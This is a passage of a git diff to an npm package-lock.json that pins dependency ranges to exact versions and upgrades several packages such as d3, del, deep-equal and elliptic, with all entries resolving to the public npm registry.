"dependencies": {
"regexpu-core": {
@@ -3603,9 +3784,9 @@
"integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=",
"dev": true,
"requires": {
- "regenerate": "^1.2.1",
- "regjsgen": "^0.2.0",
- "regjsparser": "^0.1.4"
+ "regenerate": "1.3.2",
+ "regjsgen": "0.2.0",
+ "regjsparser": "0.1.5"
}
}
}
@@ -3623,16 +3804,16 @@
"dev": true
},
"csstype": {
- "version": "2.6.3",
- "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.3.tgz",
- "integrity": "sha512-rINUZXOkcBmoHWEyu7JdHu5JMzkGRoMX4ov9830WNgxf5UYxcBUO0QTKAqeJ5EZfSdlrcJYkC8WwfVW7JYi4yg=="
+ "version": "2.6.6",
+ "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.6.tgz",
+ "integrity": "sha512-RpFbQGUE74iyPgvr46U9t1xoQBM8T4BL8SxrN66Le2xYAPSaDJJKeztV3awugusb3g3G9iL8StmkBBXhcbbXhg=="
},
"currently-unhandled": {
"version": "0.4.1",
"resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz",
"integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=",
"requires": {
- "array-find-index": "^1.0.1"
+ "array-find-index": "1.0.2"
}
},
"custom-event": {
@@ -3642,9 +3823,9 @@
"dev": true
},
"cyclist": {
- "version": "0.2.2",
- "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-0.2.2.tgz",
- "integrity": "sha1-GzN5LhHpFKL9bW7WRHRkRE5fpkA=",
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-1.0.1.tgz",
+ "integrity": "sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk=",
"dev": true
},
"d": {
@@ -3653,45 +3834,45 @@
"integrity": "sha1-dUu1v+VUUdpppYuU1F9MWwRi1Y8=",
"dev": true,
"requires": {
- "es5-ext": "^0.10.9"
+ "es5-ext": "0.10.46"
}
},
"d3": {
- "version": "5.11.0",
- "resolved": "https://registry.npmjs.org/d3/-/d3-5.11.0.tgz",
- "integrity": "sha512-LXgMVUAEAzQh6WfEEOa8tJX4RA64ZJ6twC3CJ+Xzid+fXWLTZkkglagXav/eOoQgzQi5rzV0xC4Sfspd6hFDHA==",
+ "version": "5.12.0",
+ "resolved": "https://registry.npmjs.org/d3/-/d3-5.12.0.tgz",
+ "integrity": "sha512-flYVMoVuhPFHd9zVCe2BxIszUWqBcd5fvQGMNRmSiBrgdnh6Vlruh60RJQTouAK9xPbOB0plxMvBm4MoyODXNg==",
"requires": {
- "d3-array": "1",
- "d3-axis": "1",
- "d3-brush": "1",
- "d3-chord": "1",
- "d3-collection": "1",
- "d3-color": "1",
- "d3-contour": "1",
- "d3-dispatch": "1",
- "d3-drag": "1",
- "d3-dsv": "1",
- "d3-ease": "1",
- "d3-fetch": "1",
- "d3-force": "1",
- "d3-format": "1",
- "d3-geo": "1",
- "d3-hierarchy": "1",
- "d3-interpolate": "1",
- "d3-path": "1",
- "d3-polygon": "1",
- "d3-quadtree": "1",
- "d3-random": "1",
- "d3-scale": "2",
- "d3-scale-chromatic": "1",
- "d3-selection": "1",
- "d3-shape": "1",
- "d3-time": "1",
- "d3-time-format": "2",
- "d3-timer": "1",
- "d3-transition": "1",
- "d3-voronoi": "1",
- "d3-zoom": "1"
+ "d3-array": "1.2.4",
+ "d3-axis": "1.0.12",
+ "d3-brush": "1.1.3",
+ "d3-chord": "1.0.6",
+ "d3-collection": "1.0.7",
+ "d3-color": "1.3.0",
+ "d3-contour": "1.3.2",
+ "d3-dispatch": "1.0.5",
+ "d3-drag": "1.2.4",
+ "d3-dsv": "1.1.1",
+ "d3-ease": "1.0.5",
+ "d3-fetch": "1.1.2",
+ "d3-force": "1.2.1",
+ "d3-format": "1.4.1",
+ "d3-geo": "1.11.6",
+ "d3-hierarchy": "1.1.8",
+ "d3-interpolate": "1.3.2",
+ "d3-path": "1.0.8",
+ "d3-polygon": "1.0.5",
+ "d3-quadtree": "1.0.6",
+ "d3-random": "1.1.2",
+ "d3-scale": "2.2.2",
+ "d3-scale-chromatic": "1.5.0",
+ "d3-selection": "1.4.0",
+ "d3-shape": "1.3.5",
+ "d3-time": "1.0.11",
+ "d3-time-format": "2.1.3",
+ "d3-timer": "1.0.9",
+ "d3-transition": "1.2.0",
+ "d3-voronoi": "1.1.4",
+ "d3-zoom": "1.8.3"
}
},
"d3-array": {
@@ -3709,11 +3890,11 @@
"resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.3.tgz",
"integrity": "sha512-v8bbYyCFKjyCzFk/tdWqXwDykY8YWqhXYjcYxfILIit085VZOpj4XJKOMccTsvWxgzSLMJQg5SiqHjslsipEDg==",
"requires": {
- "d3-dispatch": "1",
- "d3-drag": "1",
- "d3-interpolate": "1",
- "d3-selection": "1",
- "d3-transition": "1"
+ "d3-dispatch": "1.0.5",
+ "d3-drag": "1.2.4",
+ "d3-interpolate": "1.3.2",
+ "d3-selection": "1.4.0",
+ "d3-transition": "1.2.0"
}
},
"d3-chord": {
@@ -3721,8 +3902,8 @@
"resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz",
"integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==",
"requires": {
- "d3-array": "1",
- "d3-path": "1"
+ "d3-array": "1.2.4",
+ "d3-path": "1.0.8"
}
},
"d3-collection": {
@@ -3740,7 +3921,7 @@
"resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz",
"integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==",
"requires": {
- "d3-array": "^1.1.1"
+ "d3-array": "1.2.4"
}
},
"d3-dispatch": {
@@ -3753,8 +3934,8 @@
"resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.4.tgz",
"integrity": "sha512-ICPurDETFAelF1CTHdIyiUM4PsyZLaM+7oIBhmyP+cuVjze5vDZ8V//LdOFjg0jGnFIZD/Sfmk0r95PSiu78rw==",
"requires": {
- "d3-dispatch": "1",
- "d3-selection": "1"
+ "d3-dispatch": "1.0.5",
+ "d3-selection": "1.4.0"
}
},
"d3-dsv": {
@@ -3762,9 +3943,9 @@
"resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.1.1.tgz",
"integrity": "sha512-1EH1oRGSkeDUlDRbhsFytAXU6cAmXFzc52YUe6MRlPClmWb85MP1J5x+YJRzya4ynZWnbELdSAvATFW/MbxaXw==",
"requires": {
- "commander": "2",
- "iconv-lite": "0.4",
- "rw": "1"
+ "commander": "2.15.1",
+ "iconv-lite": "0.4.18",
+ "rw": "1.3.3"
}
},
"d3-ease": {
@@ -3777,7 +3958,7 @@
"resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz",
"integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==",
"requires": {
- "d3-dsv": "1"
+ "d3-dsv": "1.1.1"
}
},
"d3-force": {
@@ -3785,23 +3966,23 @@
"resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz",
"integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==",
"requires": {
- "d3-collection": "1",
- "d3-dispatch": "1",
- "d3-quadtree": "1",
- "d3-timer": "1"
+ "d3-collection": "1.0.7",
+ "d3-dispatch": "1.0.5",
+ "d3-quadtree": "1.0.6",
+ "d3-timer": "1.0.9"
}
},
"d3-format": {
- "version": "1.3.2",
- "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.3.2.tgz",
- "integrity": "sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ=="
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.4.1.tgz",
+ "integrity": "sha512-TUswGe6hfguUX1CtKxyG2nymO+1lyThbkS1ifLX0Sr+dOQtAD5gkrffpHnx+yHNKUZ0Bmg5T4AjUQwugPDrm0g=="
},
"d3-geo": {
"version": "1.11.6",
"resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.11.6.tgz",
"integrity": "sha512-z0J8InXR9e9wcgNtmVnPTj0TU8nhYT6lD/ak9may2PdKqXIeHUr8UbFLoCtrPYNsjv6YaLvSDQVl578k6nm7GA==",
"requires": {
- "d3-array": "1"
+ "d3-array": "1.2.4"
}
},
"d3-hierarchy": {
@@ -3814,7 +3995,7 @@
"resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.3.2.tgz",
"integrity": "sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==",
"requires": {
- "d3-color": "1"
+ "d3-color": "1.3.0"
}
},
"d3-path": {
@@ -3842,12 +4023,12 @@
"resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz",
"integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==",
"requires": {
- "d3-array": "^1.2.0",
- "d3-collection": "1",
- "d3-format": "1",
- "d3-interpolate": "1",
- "d3-time": "1",
- "d3-time-format": "2"
+ "d3-array": "1.2.4",
+ "d3-collection": "1.0.7",
+ "d3-format": "1.4.1",
+ "d3-interpolate": "1.3.2",
+ "d3-time": "1.0.11",
+ "d3-time-format": "2.1.3"
}
},
"d3-scale-chromatic": {
@@ -3855,8 +4036,8 @@
"resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz",
"integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==",
"requires": {
- "d3-color": "1",
- "d3-interpolate": "1"
+ "d3-color": "1.3.0",
+ "d3-interpolate": "1.3.2"
}
},
"d3-selection": {
@@ -3869,7 +4050,7 @@
"resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.5.tgz",
"integrity": "sha512-VKazVR3phgD+MUCldapHD7P9kcrvPcexeX/PkMJmkUov4JM8IxsSg1DvbYoYich9AtdTsa5nNk2++ImPiDiSxg==",
"requires": {
- "d3-path": "1"
+ "d3-path": "1.0.8"
}
},
"d3-time": {
@@ -3882,7 +4063,7 @@
"resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.1.3.tgz",
"integrity": "sha512-6k0a2rZryzGm5Ihx+aFMuO1GgelgIz+7HhB4PH4OEndD5q2zGn1mDfRdNrulspOfR6JXkb2sThhDK41CSK85QA==",
"requires": {
- "d3-time": "1"
+ "d3-time": "1.0.11"
}
},
"d3-timer": {
@@ -3895,12 +4076,12 @@
"resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.2.0.tgz",
"integrity": "sha512-VJ7cmX/FPIPJYuaL2r1o1EMHLttvoIuZhhuAlRoOxDzogV8iQS6jYulDm3xEU3TqL80IZIhI551/ebmCMrkvhw==",
"requires": {
- "d3-color": "1",
- "d3-dispatch": "1",
- "d3-ease": "1",
- "d3-interpolate": "1",
- "d3-selection": "^1.1.0",
- "d3-timer": "1"
+ "d3-color": "1.3.0",
+ "d3-dispatch": "1.0.5",
+ "d3-ease": "1.0.5",
+ "d3-interpolate": "1.3.2",
+ "d3-selection": "1.4.0",
+ "d3-timer": "1.0.9"
}
},
"d3-voronoi": {
@@ -3913,11 +4094,11 @@
"resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz",
"integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==",
"requires": {
- "d3-dispatch": "1",
- "d3-drag": "1",
- "d3-interpolate": "1",
- "d3-selection": "1",
- "d3-transition": "1"
+ "d3-dispatch": "1.0.5",
+ "d3-drag": "1.2.4",
+ "d3-interpolate": "1.3.2",
+ "d3-selection": "1.4.0",
+ "d3-transition": "1.2.0"
}
},
"dashdash": {
@@ -3925,7 +4106,7 @@
"resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
"integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=",
"requires": {
- "assert-plus": "^1.0.0"
+ "assert-plus": "1.0.0"
}
},
"date-format": {
@@ -3946,8 +4127,8 @@
"integrity": "sha1-nxJLZ1lMk3/3BpMuSmQsyo27/uk=",
"dev": true,
"requires": {
- "get-stdin": "^4.0.1",
- "meow": "^3.3.0"
+ "get-stdin": "4.0.1",
+ "meow": "3.7.0"
}
},
"debug": {
@@ -3976,14 +4157,30 @@
"integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==",
"dev": true,
"requires": {
- "type-detect": "^4.0.0"
+ "type-detect": "4.0.8"
}
},
"deep-equal": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.0.1.tgz",
- "integrity": "sha1-9dJgKStmDghO/0zbyfCK0yR0SLU=",
- "dev": true
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.0.tgz",
+ "integrity": "sha512-ZbfWJq/wN1Z273o7mUSjILYqehAktR2NVoSrOukDkU9kg2v/Uv89yU4Cvz8seJeAmtN5oqiefKq8FPuXOboqLw==",
+ "dev": true,
+ "requires": {
+ "is-arguments": "1.0.4",
+ "is-date-object": "1.0.1",
+ "is-regex": "1.0.4",
+ "object-is": "1.0.1",
+ "object-keys": "1.1.1",
+ "regexp.prototype.flags": "1.2.0"
+ },
+ "dependencies": {
+ "object-keys": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
+ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+ "dev": true
+ }
+ }
},
"deep-is": {
"version": "0.1.3",
@@ -3992,49 +4189,13 @@
"dev": true
},
"default-gateway": {
- "version": "2.7.2",
- "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-2.7.2.tgz",
- "integrity": "sha512-lAc4i9QJR0YHSDFdzeBQKfZ1SRDG3hsJNEkrpcZa8QhBfidLAilT60BDEIVUUGqosFp425KOgB3uYqcnQrWafQ==",
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-4.2.0.tgz",
+ "integrity": "sha512-h6sMrVB1VMWVrW13mSc6ia/DwYYw5MN6+exNu1OaJeFac5aSAvwM7lZ0NVfTABuSkQelr4h5oebg3KB1XPdjgA==",
"dev": true,
"requires": {
- "execa": "^0.10.0",
- "ip-regex": "^2.1.0"
- },
- "dependencies": {
- "cross-spawn": {
- "version": "6.0.5",
- "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
- "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
- "dev": true,
- "requires": {
- "nice-try": "^1.0.4",
- "path-key": "^2.0.1",
- "semver": "^5.5.0",
- "shebang-command": "^1.2.0",
- "which": "^1.2.9"
- }
- },
- "execa": {
- "version": "0.10.0",
- "resolved": "https://registry.npmjs.org/execa/-/execa-0.10.0.tgz",
- "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==",
- "dev": true,
- "requires": {
- "cross-spawn": "^6.0.0",
- "get-stream": "^3.0.0",
- "is-stream": "^1.1.0",
- "npm-run-path": "^2.0.0",
- "p-finally": "^1.0.0",
- "signal-exit": "^3.0.0",
- "strip-eof": "^1.0.0"
- }
- },
- "semver": {
- "version": "5.5.1",
- "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz",
- "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==",
- "dev": true
- }
+ "execa": "1.0.0",
+ "ip-regex": "2.1.0"
}
},
"define-properties": {
@@ -4043,7 +4204,7 @@
"integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==",
"dev": true,
"requires": {
- "object-keys": "^1.0.12"
+ "object-keys": "1.0.12"
}
},
"define-property": {
@@ -4052,8 +4213,8 @@
"integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
"dev": true,
"requires": {
- "is-descriptor": "^1.0.2",
- "isobject": "^3.0.1"
+ "is-descriptor": "1.0.2",
+ "isobject": "3.0.1"
},
"dependencies": {
"is-accessor-descriptor": {
@@ -4062,7 +4223,7 @@
"integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-data-descriptor": {
@@ -4071,7 +4232,7 @@
"integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
"dev": true,
"requires": {
- "kind-of": "^6.0.0"
+ "kind-of": "6.0.2"
}
},
"is-descriptor": {
@@ -4080,9 +4241,9 @@
"integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
"dev": true,
"requires": {
- "is-accessor-descriptor": "^1.0.0",
- "is-data-descriptor": "^1.0.0",
- "kind-of": "^6.0.2"
+ "is-accessor-descriptor": "1.0.0",
+ "is-data-descriptor": "1.0.0",
+ "kind-of": "6.0.2"
}
},
"isobject": {
@@ -4100,18 +4261,26 @@
}
},
"del": {
- "version": "2.2.2",
- "resolved": "https://registry.npmjs.org/del/-/del-2.2.2.tgz",
- "integrity": "sha1-wSyYHQZ4RshLyvhiz/kw2Qf/0ag=",
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/del/-/del-4.1.1.tgz",
+ "integrity": "sha512-QwGuEUouP2kVwQenAsOof5Fv8K9t3D8Ca8NxcXKrIpEHjTXK5J2nXLdP+ALI1cgv8wj7KuwBhTwBkOZSJKM5XQ==",
"dev": true,
"requires": {
- "globby": "^5.0.0",
- "is-path-cwd": "^1.0.0",
- "is-path-in-cwd": "^1.0.0",
- "object-assign": "^4.0.1",
- "pify": "^2.0.0",
- "pinkie-promise": "^2.0.0",
- "rimraf": "^2.2.8"
+ "@types/glob": "7.1.1",
+ "globby": "6.1.0",
+ "is-path-cwd": "2.2.0",
+ "is-path-in-cwd": "2.1.0",
+ "p-map": "2.1.0",
+ "pify": "4.0.1",
+ "rimraf": "2.7.1"
+ },
+ "dependencies": {
+ "pify": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+ "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==",
+ "dev": true
+ }
}
},
"delayed-stream": {
@@ -4136,8 +4305,8 @@
"integrity": "sha1-wHTS4qpqipoH29YfmhXCzYPsjsw=",
"dev": true,
"requires": {
- "inherits": "^2.0.1",
- "minimalistic-assert": "^1.0.0"
+ "inherits": "2.0.3",
+ "minimalistic-assert": "1.0.1"
}
},
"destroy": {
@@ -4146,13 +4315,19 @@
"integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=",
"dev": true
},
+ "detect-file": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz",
+ "integrity": "sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=",
+ "dev": true
+ },
"detect-indent": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-4.0.0.tgz",
"integrity": "sha1-920GQ1LN9Docts5hnE7jqUdd4gg=",
"dev": true,
"requires": {
- "repeating": "^2.0.0"
+ "repeating": "2.0.1"
}
},
"detect-node": {
@@ -4179,9 +4354,9 @@
"integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==",
"dev": true,
"requires": {
- "bn.js": "^4.1.0",
- "miller-rabin": "^4.0.0",
- "randombytes": "^2.0.0"
+ "bn.js": "4.11.8",
+ "miller-rabin": "4.0.1",
+ "randombytes": "2.1.0"
}
},
"dns-equal": {
@@ -4196,8 +4371,8 @@
"integrity": "sha512-0UxfQkMhYAUaZI+xrNZOz/as5KgDU0M/fQ9b6SpkyLbk3GEswDi6PADJVaYJradtRVsRIlF1zLyOodbcTCDzUg==",
"dev": true,
"requires": {
- "ip": "^1.1.0",
- "safe-buffer": "^5.0.1"
+ "ip": "1.1.5",
+ "safe-buffer": "5.1.1"
}
},
"dns-txt": {
@@ -4206,16 +4381,16 @@
"integrity": "sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=",
"dev": true,
"requires": {
- "buffer-indexof": "^1.0.0"
+ "buffer-indexof": "1.1.1"
}
},
"doctrine": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
- "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
+ "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
"dev": true,
"requires": {
- "esutils": "^2.0.2"
+ "esutils": "2.0.2"
}
},
"dom-converter": {
@@ -4224,7 +4399,7 @@
"integrity": "sha1-pF71cnuJDJv/5tfIduexnLDhfzs=",
"dev": true,
"requires": {
- "utila": "~0.3"
+ "utila": "0.3.3"
},
"dependencies": {
"utila": {
@@ -4240,7 +4415,7 @@
"resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.4.0.tgz",
"integrity": "sha512-LnuPJ+dwqKDIyotW1VzmOZ5TONUN7CwkCR5hrgawTUbkBGYdeoNLZo6nNfGkCrjtE1nXXaj7iMMpDa8/d9WoIA==",
"requires": {
- "@babel/runtime": "^7.1.2"
+ "@babel/runtime": "7.1.5"
}
},
"dom-serialize": {
@@ -4249,10 +4424,10 @@
"integrity": "sha1-ViromZ9Evl6jB29UGdzVnrQ6yVs=",
"dev": true,
"requires": {
- "custom-event": "~1.0.0",
- "ent": "~2.2.0",
- "extend": "^3.0.0",
- "void-elements": "^2.0.0"
+ "custom-event": "1.0.1",
+ "ent": "2.2.0",
+ "extend": "3.0.1",
+ "void-elements": "2.0.1"
}
},
"dom-serializer": {
@@ -4261,8 +4436,8 @@
"integrity": "sha1-BzxpdUbOB4DOI75KKOKT5AvDDII=",
"dev": true,
"requires": {
- "domelementtype": "~1.1.1",
- "entities": "~1.1.1"
+ "domelementtype": "1.1.3",
+ "entities": "1.1.1"
},
"dependencies": {
"domelementtype": {
@@ -4297,7 +4472,7 @@
"integrity": "sha1-0mRvXlf2w7qxHPbLBdPArPdBJZQ=",
"dev": true,
"requires": {
- "domelementtype": "1"
+ "domelementtype": "1.3.0"
}
},
"domutils": {
@@ -4306,8 +4481,8 @@
"integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=",
"dev": true,
"requires": {
- "dom-serializer": "0",
- "domelementtype": "1"
+ "dom-serializer": "0.1.0",
+ "domelementtype": "1.3.0"
}
},
"downloadjs": {
@@ -4316,15 +4491,15 @@
"integrity": "sha1-9p+W+UDg0FU9rCkROYZaPNAQHjw="
},
"duplexify": {
- "version": "3.6.0",
- "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.6.0.tgz",
- "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==",
+ "version": "3.7.1",
+ "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz",
+ "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==",
"dev": true,
"requires": {
- "end-of-stream": "^1.0.0",
- "inherits": "^2.0.1",
- "readable-stream": "^2.0.0",
- "stream-shift": "^1.0.0"
+ "end-of-stream": "1.4.1",
+ "inherits": "2.0.3",
+ "readable-stream": "2.3.6",
+ "stream-shift": "1.0.0"
},
"dependencies": {
"isarray": {
@@ -4334,9 +4509,9 @@
"dev": true
},
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -4345,13 +4520,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -4360,7 +4535,7 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -4371,7 +4546,7 @@
"integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=",
"optional": true,
"requires": {
- "jsbn": "~0.1.0"
+ "jsbn": "0.1.1"
}
},
"ee-first": {
@@ -4392,18 +4567,18 @@
"integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY="
},
"elliptic": {
- "version": "6.4.1",
- "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.4.1.tgz",
- "integrity": "sha512-BsXLz5sqX8OHcsh7CqBMztyXARmGQ3LWPtGjJi6DiJHq5C/qvi9P3OqgswKSDftbu8+IoI/QDTAm2fFnQ9SZSQ==",
+ "version": "6.5.1",
+ "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.1.tgz",
+ "integrity": "sha512-xvJINNLbTeWQjrl6X+7eQCrIy/YPv5XCpKW6kB5mKvtnGILoLDcySuwomfdzt0BMdLNVnuRNTuzKNHj0bva1Cg==",
"dev": true,
"requires": {
- "bn.js": "^4.4.0",
- "brorand": "^1.0.1",
- "hash.js": "^1.0.0",
- "hmac-drbg": "^1.0.0",
- "inherits": "^2.0.1",
- "minimalistic-assert": "^1.0.0",
- "minimalistic-crypto-utils": "^1.0.0"
+ "bn.js": "4.11.8",
+ "brorand": "1.1.0",
+ "hash.js": "1.1.7",
+ "hmac-drbg": "1.0.1",
+ "inherits": "2.0.3",
+ "minimalistic-assert": "1.0.1",
+ "minimalistic-crypto-utils": "1.0.1"
}
},
"emitter-component": {
@@ -4411,6 +4586,12 @@
"resolved": "https://registry.npmjs.org/emitter-component/-/emitter-component-1.1.1.tgz",
